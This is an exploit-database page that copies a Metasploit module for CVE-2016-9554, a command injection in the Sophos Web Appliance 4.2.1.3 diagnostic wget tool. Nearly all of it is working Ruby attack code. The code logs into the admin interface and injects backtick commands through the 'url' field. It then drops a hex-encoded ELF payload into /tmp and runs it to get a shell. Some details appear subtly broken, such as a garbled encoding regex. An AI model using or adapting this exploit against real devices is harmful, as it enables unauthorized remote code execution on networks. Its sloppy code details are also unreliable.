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Sophos Web Appliance 4.2.1.3 Remote Command Execution

CVE Category Price Severity
CVE-2016-9554 CWE-78 $7,000 High
Author Risk Exploitation Type Date
Maurizio Sidoti High Remote 2017-02-24
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 0.2137 0.78803

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017020233

Below is a copy:

Sophos Web Appliance 4.2.1.3 Remote Command Execution# Exploit Title: Sophos Web Appliance diagnostic_tools wget Remote Command Injection Vulnerablity 
# Date: 12/12/2016
# Exploit Author: xort @ Critical Start
# Vendor Homepage: www.sophos.com
# Software Link: sophos.com/en-us/products/secure-web-gateway.aspx
# Version: 4.2.1.3
# Tested on: 4.2.1.3
#            
# CVE : CVE-2016-9554

# vuln:  diagnostic_tools command / host parameter /  MgrReport.php exploit

# Description PostAuth Sophos Web App FW <= v4.2.1.3 for capablities. This exploit leverages a command injection bug. 
#
# xort @ Critical Start

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include  Exploit::Remote::Tcp
        include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name'           => 'Sophos Web Appliace <= v4.2.1.3 remote exploit',
'Description'    => %q{
This module exploits a remote command execution vulnerability in
the Sophos Web Appliace Version <=  v4.2.1.3. The vulnerability exist in
a section of the machine's adminstrative infertface for performing diagnostic
network test with wget and unsanitized unser supplied information. 
},
'Author'         =>
[
'xort@Critical Start', # vuln + metasploit module
],
'Version'        => '$Revision: 1 $',
'References'     =>
[
[ 'none', 'none'],
],
'Platform'      => [ 'linux'],
'Privileged'     => true,
 'Arch'          => [ ARCH_X86 ],
                        'SessionTypes'  => [ 'shell' ],
                        'Privileged'     => false,

        'Payload'        =>
                                { 
                                  'Compat' =>
                                  {
                                        'ConnectionType' => 'find',
                                  }
                                },

'Targets'        =>
[
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
],
'DefaultTarget' => 0))

register_options(
[
OptString.new('PASSWORD', [ false, 'Device password', "" ]),
         OptString.new('USERNAME', [ true, 'Device password', "admin" ]),
OptString.new('CMD', [ false, 'Command to execute', "" ]),
Opt::RPORT(443),
], self.class)
end

        def do_login(username, password_clear)
                vprint_status( "Logging into machine with credentials...\n" )

                # vars
                timeout = 1550;
                style_key = Rex::Text.rand_text_hex(32)

                # send request  
                res = send_request_cgi(
                {
                      'method'  => 'POST',
                      'uri'     => "/index.php",
                      'vars_get' => {
   'c' => 'login',
},
                      'vars_post' =>
                        {

         'STYLE' => style_key,
   'destination' => '',
  'section' => '',
  'username' => username,
  'password' => password_clear,
                        }
                }, timeout)

                return style_key
        end

def run_command(username, style_password, cmd)

vprint_status( "Running Command...\n" )

# send request with payload
res = send_request_cgi({
'method' => 'POST',
'vars_post' => {
'action' => 'wget',
'section' => 'configuration',
'STYLE' => style_password ,
'url' => 'htt%3a%2f%2fwww.google.com%2f`'+cmd+'`',
},
'vars_get' => {
'c' => 'diagnostic_tools',
},
})

end


def exploit
# timeout
timeout = 1550;

# params
password_clear = datastore['PASSWORD']
user = datastore['USERNAME']

# do authentication
style_hash = do_login(user, password_clear)

vprint_status("STATUS hash authenticated: #{style_hash}\n")

# pause to let things run smoothly
sleep(5)

 #if no 'CMD' string - add code for root shell
                if not datastore['CMD'].nil? and not datastore['CMD'].empty?

                        cmd = datastore['CMD']

                        # Encode cmd payload
                        encoded_cmd = cmd.unpack("H*").join().gsub(/(w)(w)/,'\x12')

                        # kill stale calls to bdump from previous exploit calls for re-use
                        run_command(user, style_hash, ("sudo%20/bin/rm%20-f%20/tmp/n%20;printf%20"#{encoded_cmd}"%20>%20/tmp/n;%20chmod%20+rx%20/tmp/n;/tmp/n" ))
                else
                        # Encode payload to ELF file for deployment
                        elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
                        encoded_elf = elf.unpack("H*").join().gsub(/(w)(w)/,'\\x12')

# upload elf to /tmp/m , chmod +rx /tmp/m , then run /tmp/m (payload)
                        run_command(user, style_hash, ("echo%20-e%20#{encoded_elf}>%20/tmp/m;chmod%20%2brx%20/tmp/m;/tmp/m"))

# wait for magic
                        handler

                end


end
# sophox-release
end


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